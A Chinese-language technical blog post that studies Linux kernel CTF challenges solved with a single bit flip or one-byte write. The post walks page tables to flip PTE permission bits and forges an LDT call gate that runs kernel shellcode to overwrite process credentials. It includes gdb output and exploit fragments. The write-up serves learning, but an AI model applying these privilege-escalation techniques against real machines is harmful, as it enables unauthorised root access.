在 CTF 中都會有許多有趣的 Linux kernel trick 題,像是提供任意 flip 一個 bit、任意寫一個 byte 或甚至任意控一次 RIP 就需要做到提權。雖然題目的解法大多在 real world 使用不上,但是背後的技巧卻是非常有趣且值得學習的。這篇文章會分析幾個這種類型的題目,紀錄解法以及相關知識,大多數的內容皆以他人解法為基礎來研究,內容如有錯誤再麻煩通知,謝謝!

1. Flip a Bit

1.1 OverTheWire Advent Bonanza 2018 - Snow Hammer

參考: https://www.tasteless.eu/post/2018/12/aotw-snow-hammer/

題目提供一個 flip bit 的 primitive,用變數 long flip_count 來紀錄執行次數,如果發現已經執行過一次就直接離開。執行環境如下:

  • kaslr=off
  • pti=off

因為變數 flip_count 的型別為 long,因此可以先 flip flip_count 的 signed bit,就可以繞過次數檢查,也就代表我們可以 flip bit 很多次。

下一步作者想要 patch function __sys_setuid(),讓原本呼叫 prepare_creds() 的地方變成 prepare_kernel_cred(),這樣新分配出來的 struct cred 就會具有高權限。然而 ktext 很明顯的是 non-writable,所以我們需要先找到 __sys_setuid() 對應到的 Page Table Entry (PTE),並設置 R/W bit,這樣該 page 就會變成 writable,也就可以對其做 patch 了。

這邊假設 __sys_setuid() 的 virtual address 為 0xffffffff811dd0a0,以及用作 Page Directory Base Register (PDBR) 的 CR3 register 的值為 0x5066000。為了找到 PTE 的位址,首先,我們需要先拆解 0xffffffff811dd0a0 成 Page Table 每個 Level 的 index。下方圖示基於原 writeup 上做些許修改:

        0b 1111111111111111 111111111 111111110 000001000 111011101 000010100000
           \______  ______/ \___  __/ \___  __/ \___  __/ \___  __/ \____  ____/
                  \/            \/        \/        \/        \/         \/
length          16 bit        9 bit     9 bit     9 bit     9 bit      12 bit
idx into    sign extension     PML4      PML3   Page Table    PTE      offset
                              (PGD)     (PUD)      (PMD)
value                          511       510         8        477       0xa0


Paging

關於 Paging 的細節可以參考 OSDev Paging下方 page map 格式圖也是擷取自他們的網頁 (不過 intel manual 應該也是拿得到),這邊只會簡單說明一下。

Page map 分成很多層,每一層都有 512 個 entry,而每個 entry 的大小為 8 bytes,也就是一個 map 的大小是 0x1000。Register CR3 存的 0x5066000 是最上層 map 的 physical address,在沒有 KASLR 的情況下,我們可以透過 direct mapping 來存取,也就是 0x5066000 + 0xffff888000000000。(參考官方文件)

# [...]
ffff888000000000 | -119.5  TB | ffffc87fffffffff |   64 TB | direct mapping of all physical memory (page_offset_base)
# [...]

以 PML4 的值為 index,我們能夠找到紀錄下一層 map 資訊的 map entry 0x3c46067

pwndbg> x/gx 0x5066000 + 0xffff888000000000 + 511 * 8
0xffff888005066ff8:     0x0000000003c46067

每層 map entry 的格式都不太一樣,都是由下一層 map 的 physical address 與一些屬性組成,細節可以參考下方圖示:

image-20240803094113392

0x3c46067 為例:

  • Address (0x3c46000) - 下一層 page map 的 physical address
  • 0x67 (0110 0111)
    • bit-0 - P (Present)
    • bit-1 - R/W。如果 bit 被設上,代表 page 可讀可寫 (read/write),沒有的話就只能讀
    • bit-2 - U/S。如果 bit 被設上,代表 page 可以被 user space 存取,沒有的話只有 kernel 可以存取
    • bit-5 - A (Accessed)。用來判斷 entry 有沒有在 virtual address translation – 也就是 walk page map 時被存取到
    • bit-6 - D (Dirty)。用來判斷是否 page 被更新過
  • bit-64 - XD (Execute Disable)。如果 bit 被設上,代表 page 不能被執行

之後的幾層都可以如法炮製:

# [PUD]
pwndbg> x/gx 0x03c46000 + 0xffff888000000000 + 510 * 8
0xffff888003c46ff0:     0x0000000003c47063

# [PMD]
pwndbg> x/gx 0x03c47000 + 0xffff888000000000 + 8 * 8
0xffff888003c47040:     0x00000000010000a1

原本預期 PMD 下面應該還要有一層,但是如果以 Page Directory Pointer Table Entry (PDPTE) 的格式來解析 0xa1 (1010 0001),會是:

  • bit-0 - P (Present)
  • bit-5 - A (Accessed)
  • bit-7 - PS (Page Size)。如果 bit 被設上,代表 page 的大小為 2MB

在 PTI 禁用的情況下,bit-8 (G, Global) 也會被設置。如果 bit 被設上,就代表此 PTE 能夠被所有 process 存取,因此在 context switch 時不會被 TLB flush 影響。

Bit PS 被設起時,PDPTE 就要以下方圖片中的 Page Directory Entry (PDE) 格式來看,表示這已經是最後一層的 map,也意味著 0xffff888003c47040 的值 0x10000a1 就是 __sys_setuid() 使用的 PDE/PTE。

image-20240803094402889

在此情況下,原本 PTE 的 9 bits 也會被當作 offset,所以 map index 的劃分應該要是下方圖示:

        0b 1111111111111111 111111111 111111110 000001000 111011101000010100000
           \______  ______/ \___  __/ \___  __/ \___  __/ \___  ______________/
                  \/            \/        \/        \/        \/
length          16 bit        9 bit     9 bit     9 bit       21 bit
idx into    sign extension     PML4      PML3   Page Table    offset
                              (PGD)     (PUD)      (PMD)
value                          511       510         8        0x1dd0a0

一樣可以用 direct mapping 做驗證:

pwndbg> x/gx 0xffff888000000000 + 0x1000000 + 0x1dd0a0
0xffff8880011dd0a0:     0x8955410000441f0f

pwndbg> x/gx __sys_setuid
0xffffffff811dd0a0 <__sys_setuid>:      0x8955410000441f0f


Exploit

如果要讓 page 的內容可以被修改,就需要設置 bit-1 (R/W),所以我們需要 flip [0xffff888003c47040] 的第二個 bit。修改前的 page permissions 如下:

pwndbg> pt -has 0xffffffff811dd0a0
             Address :    Length   Permissions
  0xffffffff81000000 : 0x1800000 | W:0 X:1 S:1 UC:0 WB:1

修改後會發現原本的 “W:0” 變成 “W:1”,代表可以 ktext 可寫,也就能 patch __sys_setuid()

             Address :   Length   Permissions
  0xffffffff81000000 : 0x200000 | W:1 X:1 S:1 UC:0 WB:1


Fun Fact

實際上,Linux kernel 的 ktext 是由兩個變數來做 mapping:

  • (pud_t (*)[512]) level3_kernel_pgt
  • (pmd_t (*)[512]) level2_kernel_pgt

以這題為例,分別拿 PUD index (510) 跟 PMD index (8) 來查,都與直接用 direct mapping 來看的結果相同:

pwndbg> p level3_kernel_pgt[510]
$7 = {
  pud = 63205475 # (0x3c47063)
}

pwndbg> p level2_kernel_pgt[8]
$8 = {
  pmd = 16777377 # (0x10000a3)
}

也就是說在不知道 direct mapping 位址的情況下,仍可以直接改 level2_kernel_pgt[8] 修改 ktext 的 PTE。


Others

QEMU monitor 提供了許多操作 VM 的功能,像是 dump VM register 的值或是 memory dump 等等。因為 gdb 的 command info register 沒有辦法看到所有的 register,像是 LDT 或 GDT,因此在某些情況下配合 monitor 來 debug 會有不錯的效果。

啟用 monitor 就只需要在 QEMU 參數加上一行:

-monitor tcp::5555,server,nowait

telnet 連上去後,下 help 可以看到有哪些 command 可以用,不過我比較常用到的就只有 info registers


1.2 Midnightsun CTF 2021: Brohammer

參考: https://hxp.io/blog/82/Midnightsun-CTF-2021-Brohammer/

該題實實在在的只能 flip 一個 bit,沒有像上題一樣可以多次 flip,我們的目標是要讀到存在於 ramfs 的 /root/flag。執行環境如下:

  • kaslr=off
  • smap=off
  • smep=off
  • pti=off

作者的解法是把 direct mapping 的 PTE 設成 usermode 可以存取,也就是 flip PTE 的 U/S bit,這樣就能在 user space 遍歷整個 physical memory 並找出存在於記憶體內的 flag。

在 PTI 禁用的情況下,user page table 其實會有 kernel address 的 PTE,像是 kernel text 或是 direct mapping,只是因為 U/S bit 是 unset,所以在 user space 才沒有辦法存取。也就是說只要將 PTE 的 U/S bit 設起來,user space process 就能夠存取到 kernel address。假設 CR3 為 0x5068000 並且想從 user space 讀 direct mapping 0xffff88800009b000,一樣需要先拆解出 index:

        0b 1111111111111111 100010001 000000000 000000000 010011011 000000000000
           \______  ______/ \___  __/ \___  __/ \___  __/ \___  __/ \____  ____/
                  \/            \/        \/        \/        \/         \/
length          16 bit        9 bit     9 bit     9 bit     9 bit      12 bit
idx into    sign extension     PML4      PML3   Page Table    PTE      offset
                              (PGD)     (PUD)      (PMD)
value                          273        0          0        155        0

然後 walk page map,找到對應的 PTE:

# [PGD]
pwndbg> x/gx 0xffff888000000000 + 0x5068000 + 273 * 8
0xffff888005068888:     0x0000000004e01067

# [PUD]
pwndbg> x/gx 0xffff888000000000 + 0x4e01000 + 0 * 8
0xffff888004e01000:     0x0000000004e02067

# [PMD]
pwndbg> x/gx 0xffff888000000000 + 0x4e02000 + 0 * 8
0xffff888004e02000:     0x0000000004e03067

# [PTE]
pwndbg> x/gx 0xffff888000000000 + 0x4e03000 + 155 * 8
0xffff888004e034d8:     0x800000000009b163
  • 0x163 (0001 0110 0011)
    • bit-0 (P)
    • bit-1 (R/W)
    • bit-5 (A)
    • bit-6 (D)
    • bit-8 (G)

如果用下方的範例程式存取 0xffff88800009b000

#include <stdio.h>
#include <sys/syscall.h>

int main()
{
    printf("[0xffff88800009b000]: %016lx\n", *(unsigned long *)0xffff88800009b000);
    return 0;
}

會因為該 PTE 沒有 U/S bit 而觸發 segfault:

~ # /share/a
Segmentation fault

不過如果我們將 U/S bit (bit-3) 給設起,會發現權限從 “S:1” 變成 “S:0” 了。

pwndbg> set *(unsigned long *)0xffff888004e034d8 |= 4
pwndbg> pt -has 0xffff88800009b000
             Address : Length   Permissions
  0xffff88800009b000 : 0x1000 | W:1 X:0 S:0 UC:0 WB:1

此時再重新執行一次範例程式,就會發現可以存取該記憶體位址,

~ # /share/a
[0xffff88800009b000]: 0000582000005020

透過 gdb 檢查,確定讀出來的資料相同。

pwndbg> x/gx 0xffff88800009b000
0xffff88800009b000:     0x0000582000005020

後續就可以爆搜整個 direct mapping 來讀 flag。

另一篇 writeup - MidnightsunQuals 2021 BroHammer Writeup 的解法也是類似的概念,不過作者 Will 是直接 flip ktext direct mapping 的 PTE 的 R/W bit,在 ktext 變成 writable 後就可以直接 patch syscall 成 commit_creds(&init_cred),最後呼叫 syscall 成功提權。


Others

基於此概念,我嘗試從 level2_kernel_pgt[] 對 ktext 的 PTE 做一模一樣的事情,預期讓 user space process 可以存取並修改到 ktext。然而經過測試發現,改 R/W bit 沒有任何問題,但是只要一 set U/S bit 就會不斷觸發 page fault,導致 kernel 無法處理而 hang 住,不確定是什麼原因造成。


2. Write a Byte

2.1 hxp CTF 2022: one_byte writeup

https://hxp.io/blog/99/hxp-CTF-2022-one_byte-writeup/

這次題目變成任意寫一個 byte,並且目標位址可以是 read-only,不過題目啟用了 KASLR 以及 PTI,也就意味著可以操作的空間變得很侷限。在不透過 side channel、0-day 以及 1-day bypass KASLR 的情況下,我們只能從 Documentation 與 gdb 得知哪些位於 kernel 的 address 是 fixed mapping,不會受到 KASLR 影響的只有兩個,分別為 cpu_entry_area (CEA) 以及 LDT remap:

ffff880000000000 | -120    TB | ffff887fffffffff |  0.5 TB | LDT remap for PTI
# [...]
fffffe0000000000 |   -2    TB | fffffe7fffffffff |  0.5 TB | cpu_entry_area mapping

題目使用的 kernel 版本為 “Linux (none) 5.10.0-21-amd64”,在當時 CEA 還沒有被隨機化,不過在近期的版本 (Linux 6.2) 已經會在 kernel 初始化時隨機 CEA 的初始位址。

不過 LDT 在還沒初始化之前是不會被 map 的,所以預設應該只會有 cpu_entry_area 的 mapping 而已。

作者透過寫 1 byte 的 prititive 改變 LDT entry 的 type,造成 data segment descriptor 與 system segment descriptor 的 type confusion,最後將 call gate handler 的 entry point 指向 kernel shellcode,patch current process 的 struct cred 做到提權。


LDT

Descriptor Table (DT) 用來將記憶體做分段 (segmentation) 與存取權限的控管,又可以根據影響單一 process 還是所有 process 分成 L (Local) DT 以及 G (Global) DT。

User space process 沒有辦法調整 GDT,但可以透過 syscall modify_ldt 建立 LDT 並新增自己的 descriptor。Syscall handler 會呼叫 write_ldt() 來 install 一個 IDT entry,該 function 先把 user provided data 轉成 LDT entry 的格式 [1],之後新增到的 LDT [2],最後更新到 LDT register [3]。

static int write_ldt(void __user *ptr, unsigned long bytecount, int oldmode)
{
    // [...]
    fill_ldt(&ldt, &ldt_info); // [1]
    // [...]
    new_ldt->entries[ldt_info.entry_number] = ldt; // [2]
    // [...]
    error = map_ldt_struct(mm, new_ldt, old_ldt ? !old_ldt->slot : 0); // [3]
}

Process 傳入的會是 struct user_desc object pointer,大小為 16 bytes:

struct user_desc {
    unsigned int  entry_number;
    unsigned int  base_addr;
    unsigned int  limit;
    
    unsigned int  seg_32bit:1;
    unsigned int  contents:2;
    unsigned int  read_exec_only:1;
    unsigned int  limit_in_pages:1;
    unsigned int  seg_not_present:1;
    unsigned int  useable:1;
    unsigned int  lm:1;
};

最後存入 LDT 則會用 struct desc_struct object,大小為 8 bytes:

struct desc_struct {
    u16    limit0;
    u16    base0;
    u16    base1: 8, type: 4, s: 1, dpl: 2, p: 1;
    u16    limit1: 4, avl: 1, l: 1, d: 1, g: 1, base2: 8;
} __attribute__((packed));
  • limit0 - segment limit 15:00,segment 最多可以存取到的 offset
  • base0 - segment base address 15:00
  • base1 - segment base address 23:16
  • type - segment type
  • s - descriptor type。0 為 system、1 為 code or data
  • dpl - descriptor privilege level
  • p - segment present。Segment 是否存在於 memory
  • limit1 - segment limit 19:16
  • avl - available。由 system software 自定義
  • l - 如果 L 為 1,代表是一個 64-bit segment
  • d - 根據 type 有不同功能。當 type 為 stack segment,1 代表 register 為 32-bit,0 則是 16-bit
  • g - segment limit guanularity。0 為 byte、1 為 4KB
  • base2 - segment base address 31:24

註冊成功後,LDT 會 mapping 在 0xffff880000000000。以 writeup 的 exploit code 為例,在下方 user_desc 註冊後,

var user_desc
    .int TARGET_ENTRY // entry_number, 12
    .int __KERNEL_CS  // base_addr
    .int 0x01000      // limit
    .int 0b00000001   // flags
endvar user_desc

LDT 的第 12 個 entry 就會被新增上去:

pwndbg> x/gx 0xffff880000000000 + 12 * 8
0xffff880000000060:     0x0040f30000101000

Entry value 0x0040f30000101000struct desc_struct 為格式的輸出結果如下:

limit:  1000
base:   10
type:   3
s:      1
dpl:    3
p:      1
avl:    0
l:      0
d:      1
g:      0

這些 descriptor entry 可以透過 instruction 的方式使用,像是 far call/jump,但其實 process 執行過程中一直都在使用!


Segmentation

許多觀念與圖片都是參考文章 Segmentation in Intel x64(IA-32e) architecture - explained using Linux,建議讀者可以先閱讀。

Process 或是 kernel 所使用的 address 實際上都是 “logical address”,在經過 segment selector 的轉換後會變成 “linear address”,最後 walk page map 來拿到 “physical address”

image-20240805120006154

而 “Logical address” 到 “linear address” 的轉換則是由 segment registers 來負責。Intel x64 主要有六個 segment register,分別如下:

  • CS (Code Segment)
  • SS (Stack Segment)
  • DS (Data Segment)
  • ES/FS/GS

與程式執行相關的記憶體存取會使用 CS,也就是說 register RIP 的值實際上應該是 CS:RIP;與 stack 相關則是用 SS,也代表 RSP、RBP 的存取應該要是 SS:RSPSS:RBP;其他的記憶體存取如 mov instruction,就會使用 DS,像是 DS:RDI;剩下的 segments register ES/FS/GS 則沒有明確的用途。

Segment register 會紀錄兩個部分的資料,分別為 visible part 以及 hidden part,前者就直接是 register 的內容,而後者則需要透過 VM monitor 才能觀察。

image-20240805121744395

Visible part 會 maintain 16 bits 的 segment selector,格式可以參考 osdev - Local_Descriptor_Table

Selector
+=============+=+==+
| Index       |T|PL|
+=============+=+==+
            13 1  2 (bits)
  • Index - 第幾個 table entry
  • T (Type) - 使用哪一個 DT,0 為 GDT、1 為 LDT
  • PL - Requested Privilege Level (RPL),也就是存取 memory 時的 PL

預設 user space process 的 CS 會是 0x33,SS 會是 0x2b,其他都是 0。

  • CS - 0x33 (110 0 11),使用 PL=3 存取 GDT 的第 6 個 entry
  • SS - 0x2b (101 0 11),使用 PL=3 存取 GDT 的第 5 個 entry

而 kernel mode 的 CS 會是 0x10、SS 是 0x18,其他一樣是 0。

  • CS - 0x10 (10 0 00),使用 PL=0 存取 GDT 的第 2 個 entry
  • SS - 0x18 (11 0 00),使用 PL=0 存取 GDT 的第 3 個 entry

CS 與 SS 的 segment select 的 PL 又稱作 Current Privilege Level (CPL),代表當前 process 的執行權限。關於 DPL、CPL 以及 RPL 的差異,大致上可以想成:

  • DPL - 資料的權限
  • RPL - 請求的權限
  • CPL - 當前的權限

如果在存取資料時,先滿足條件 max(RPL, CPL) <= DPL 才會進到 paging 的處理,最後會檢查 PTE U/S bit 以及 CPL value。

假設 GDT 的位址為 0xfffffe0000001000,透過 gdb 可以觀察 entry value:

# [USER_CS]
pwndbg> x/gx 0xfffffe0000001000 + 6 * 8
0xfffffe0000001030:     0x00affb000000ffff

# [USER_SS]
pwndbg> x/gx 0xfffffe0000001000 + 5 * 8
0xfffffe0000001028:     0x00cff3000000ffff
  • USER_CS (entry 6)

    limit:  fffff
    base:   0
    type:   b
    s:      1
    dpl:    3
    p:      1
    avl:    0
    l:      1
    d:      0
    g:      1
    
  • USER_SS (entry 5)

    limit:  fffff
    base:   0
    type:   3
    s:      1
    dpl:    3
    p:      1
    avl:    0
    l:      0
    d:      1
    g:      1
    
    • 因為是 stack,所以 d = 1,並且 manual 有提到 d = 1 的情況下 l 需要是 0

Hidden part 則是 cache 起來的 descriptor 資訊,像是 limit、base address 等等。下方為 QEMU monitor 的輸出結果:

# [...]
CS =0033 0000000000000000 ffffffff 00a0fb00 DPL=3 CS64 [-RA]
SS =002b 0000000000000000 ffffffff 00c0f300 DPL=3 DS   [-WA]
# [...]

但,根據 Intel 手冊 “3.2.4 Segmentation in IA-32e Mode” 上的敘述,在 64-bit mode 底下不會使用 segmentation

[…] In 64-bit mode, segmentation is generally (but not completely) disabled, creating a flat 64-bit linear-address space. The processor treats the segment base of CS, DS, ES, SS as zero, creating a linear address that is equal to the effective address. […] Note that the processor does not perform segment limit checks at runtime in 64-bit mode.

因此在存取記憶體時,descriptor entry 的 limit 跟 base 會被 ignore,可以視為 base 為 0,limit 為整個 virtual memory;其他屬性也不一定會被使用,具體可以透過 gdb 調整觀察行為是否相同。不過用來檢查權限的 DPL 仍會使用,也就是說 CS 與 SS 的 PL 仍會與 GDT 中 USER_CS 與 USER_SS 的 DPL 做比較。

由於不再使用 segmentation,部分 segment register 被拿來做其他事情,最常見的是 FS 跟 GS。在 user space 中,register FS 被 glibc 用來放 TLS address,透過 instruction 如 fs:[0x28] 就能夠直接存取 TLS 相對偏移的值。下方為 glibc 在初始化 TLS 時,呼叫 pctrl(ARCH_SET_FS) 設置 FS 為 TLS base address 的程式碼片段:

// elf/rtld.c
static void *
init_tls (size_t naudit)
{
    // [...]
    const char *lossage = TLS_INIT_TP (tcbp);
    // [...]
}

// sysdeps/x86_64/nptl/tls.h
# define TLS_INIT_TP(thrdescr) \
     \ // [...]
     asm volatile ("syscall"                              \
           : "=a" (_result)                          \
           : "0" ((unsigned long int) __NR_arch_prctl),              \
             "D" ((unsigned long int) ARCH_SET_FS),              \
             "S" (_thrdescr)                          \
           : "memory", "cc", "r11", "cx");                  \
     \ // [...]
  })

有趣的是使用 ARCH_SET_FSARCH_SET_GS 更新 FS 或 GS 時,不是直接更新 register 本身,而是更新到 FS_BASE 與 GS_BASE MSRs。下方以 ARCH_SET_FS 為例:

// arch/x86/kernel/process_64.c
long do_arch_prctl_64(struct task_struct *task, int option, unsigned long arg2)
{
    // [...]
    case ARCH_SET_FS: {
        x86_fsbase_write_cpu(arg2);
    }
    // [...]
}

// arch/x86/include/asm/fsgsbase.h
static inline void x86_fsbase_write_cpu(unsigned long fsbase)
{
    if (boot_cpu_has(X86_FEATURE_FSGSBASE))
        wrfsbase(fsbase);
    else
        wrmsrl(MSR_FS_BASE, fsbase);
}

而 kernel space 則是會用 GS 來存取 PERCPU object,這也就是為什麼每次從 user space 進到 kernel space 時需要先執行 instruction swapgs (Swap GS Base Register) ,交換當前 GS_BASE 與 IA32_KERNEL_GS_BASE MSRs 的值:

# [...]
tmp := GS.base;
GS.base := IA32_KERNEL_GS_BASE;
IA32_KERNEL_GS_BASE := tmp;

否則 kernel 就會以 user space 可控的位址作為 GS_BASE,來存取 PERCPU data。


Exploit

LDT 根據 descriptor type 的值分成 code/data segment (1) 以及 system segment (0),先前提到的 LDT entry 皆是屬於 code/data segment。而當 descriptor type 是 system segment 時,entry 就不會是以 struct desc_struct 來註冊,而是取決於 segment type。

  • Data Segment (descriptor type 1)
    • 0x0: Read-Only
    • 0x1: Read-Only, accessed
    • 0x2: Read/Write
    • 0x3: Read/Write, accessed
    • 0x4: Read-Only, expand-down
    • 0x5: Read-Only, expand-down, accessed
    • 0x6: Read/Write, expand-down
    • 0x7: Read/Write, expand-down, accessed
  • Code Segment (descriptor type 1)
    • 0x8: Execute-Only
    • 0x9: Execute-Only, accessed
    • 0xA: Execute/Read
    • 0xB: Execute/Read, accessed
    • 0xC: Execute-Only, conforming
    • 0xD: Execute-Only, conforming, accessed
    • 0xE: Execute/Read, conforming
    • 0xF: Execute/Read, conforming, accessed
  • System Segment (descriptor type 0)
    • 0x0: Reserved
    • 0x1: 16-bit TSS (Available)
    • 0x2: LDT
    • 0x3: 16-bit TSS (Busy)
    • 0x4: 16-bit Call Gate
    • 0x5: Task Gate
    • 0x6: 16-bit Interrupt Gate
    • 0x7: 16-bit Trap Gate
    • 0x9: 32-bit TSS (Available)
    • 0xB: 32-bit TSS (Busy)
    • 0xC: 32-bit Call Gate
    • 0xE: 32-bit Interrupt Gate
    • 0xF: 32-bit Trap Gate

也就是說,如果我們先註冊了一個 LDT entry,type 為 code/data segment,之後用 one byte write primitive 將 descriptor type 改成 system segment、segment type 改成 call gate,這樣就會以 call gate format 來使用 struct desc_struct 的內容,造成 type confusion

Writeup 的 exploit 將寫入的位置與資料定義於變數 module_message,位置為 target LDT entry 位址 + offset 5,值則是 0xec。

var module_message
    .quad LDT_BASE_ADDR + LDT_STRIDE + (TARGET_ENTRY * 8) + 5
    .byte 0b11101100        ; 0xec
endvar module_message

而在 overwrite 後,原本 0x0040f30000101000 會被修改成 0x0040ec0000101000,只差在把 descriptor type patch 成 1,以及 segment type 寫成 0xc,也就是 call gate。Linux kernel source code 中也有定義 call gate 的 type value。

// arch/x86/include/asm/segment.h
enum {
    // [...]
    GATE_CALL = 0xC,
    // [...]
};

不過除了 type value 外,kernel 內沒有註冊或使用 call gate 的地方。參考 Intel manual “5.8.3.1 IA-32e Mode Call Gates”,64-bit mode 的 call gate descriptor 結構大概會像:

struct call_gate_descriptor {
    uint16_t offset_low;
    uint16_t selector;
    uint8_t  reserved_0;
    uint8_t  type : 5;
    uint8_t  dpl : 2;
    uint8_t  present : 1;
    uint16_t offset_mid;
    uint32_t offset_high;
    uint32_t reserved_1;
} __attribute__((packed));

將 overwrited LDT entry value 0x0040ec0000101000 對應到 struct call_gate_descriptor 各個成員:

uint16_t offset_low;  // 0x1000
uint16_t selector;    // 0x0010
uint8_t  reserved_0;  // 0x00
uint8_t  type : 5;    // 0xc
uint8_t  dpl : 2;     // 0x3
uint8_t  present : 1; // 0x1
uint16_t offset_mid;  // 0x40
uint32_t offset_high; // 0x0
uint32_t reserved_1;  // 0
  • offset - call gate handle function 的 offset。位置 0x401000 存放的是 kernel shellcode
  • selector - 呼叫 call gate 時的 CS selector。0x10 對應到 KERNEL_CS
  • dpl - 呼叫 call gate 所需的權限。3 代表 user space,也就是一般 process 也能呼叫

最後一步是透過 Far Call 來呼叫 target LDT entry,可以參考 stack overflow 文章使用 intel syntax 的寫法:

mov  rax, absolute_address   ; where seg:off are stored
call far [rax]

或者是參考 writeup 的 AT&T syntax:

#define TARGET_SELECTOR ((TARGET_ENTRY << 3) | LDT_SELECTOR | RPL_USER)
far_ptr gate_target, TARGET_SELECTOR, 0xdead8664
lcall *(gate_target)

其中 seg:off 的 offset 會被 call gate ignore,所以可以隨便給 (0xdead8664)。重點是前面的 segment selector 需要設置:

  • RPL_USER (3) - 以 user space 的操作權限發出請求
  • LDT_SELECTOR (0) - 使用 LDT 而非 GDT
  • TARGET_ENTRY (12) - 選擇用被我們 overwrite 的 entry

透過 Far Call 執行 call gate 會有一些需要注意的地方,像是 struct call_gate_descriptor 的 selector 所對應到的 segment 需要 L bit = 1 等等,其他細節可以參考 call instruction 的 section “Near/(Far) Calls in 64-bit Mode.”

最後,因為 target entry 已經被 overwrite 成 call gate,所以在檢查 PL 後會直接以高權限執行 call gate handler,也就是位於 0x401000 的 kernel shellcode。


Kernel Shellcode

Writeup 的 kernel space shellcode 有許多值得注意的細節與技巧,在此以條列的方式紀錄:

  • cli (Clear Interrupt Flag) - 清除 EFLAGS 內的 IF,讓 processor 可以忽略掉 maskable interrupt,避免外部 interrupt 打進來
  • rdmsr(MSR_LSTAR) (value: 0xc0000082) - 會拿到 entry_SYSCALL_64,藉此 bypass KASLR
  • unset cr0 WP (Write Protect) bit - 讓 CPL = 0 時可以對 RO data 做寫入,這樣就能把 shellcode copy 到沒有在使用的 ktext
  • update cr3 - 因為 PTI 的關係,需要切換到 kernel page table 才能存取 kernel memory
  • PERCPU data 裡面有放 current (struct task_struct *) address
  • 複製 &init_cred 到 current 的 real_cred 以及 cred
  • 回到 user space 前更新 cr3 以及把 IF 設回去

在 user space 可以透過下面的方式來 set EFLAGS 的 AC flag:

pushfq
or qword ptr [rsp], 0x40000
popfq

不過一般來說,執行 syscall 時 EFLAGS 會被 MSR_SYSCALL_MASK MSR mask,哪些 flag 會被 unset 可以看 kernel init function syscall_init(),其中就包含了 AC flag (X86_EFLAGS_AC)。

void syscall_init(void)
{
    // [...]
    wrmsrl(MSR_SYSCALL_MASK,
           X86_EFLAGS_CF|X86_EFLAGS_PF|X86_EFLAGS_AF|
           X86_EFLAGS_ZF|X86_EFLAGS_SF|X86_EFLAGS_TF|
           X86_EFLAGS_IF|X86_EFLAGS_DF|X86_EFLAGS_OF|
           X86_EFLAGS_IOPL|X86_EFLAGS_NT|X86_EFLAGS_RF|
           X86_EFLAGS_AC|X86_EFLAGS_ID);
}

因此實務上應該比較少情境能用到這個技巧。


Others

Syscall 相關的 MSR 除了能夠 bypass KASLR 之外,在 WarCon 2024 - Linux privesc via arbitrary x86 MSRs read/write bug: case study from a CTF challenge 中,作者 disconnect3d 也示範了透過讀寫 MSR 來提權。

MSR_LSTAR 除了能夠 bypass KASLR 之外,也能控制呼叫 syscall 時的 kernel RIP。透過 clear MSR_SYSCALL_MASK 的 X86_EFLAGS_AC,進到 kernel space 不會 unset AC flag,讓 kernel 可以存取 user space 的 data。搭配上述兩個與 syscall 相關的 MSRs,我們可以把 syscall entry 設成 stack pivoting gadget,並在 SMAP disabled 的情況下存取 user space memory 做 ROP。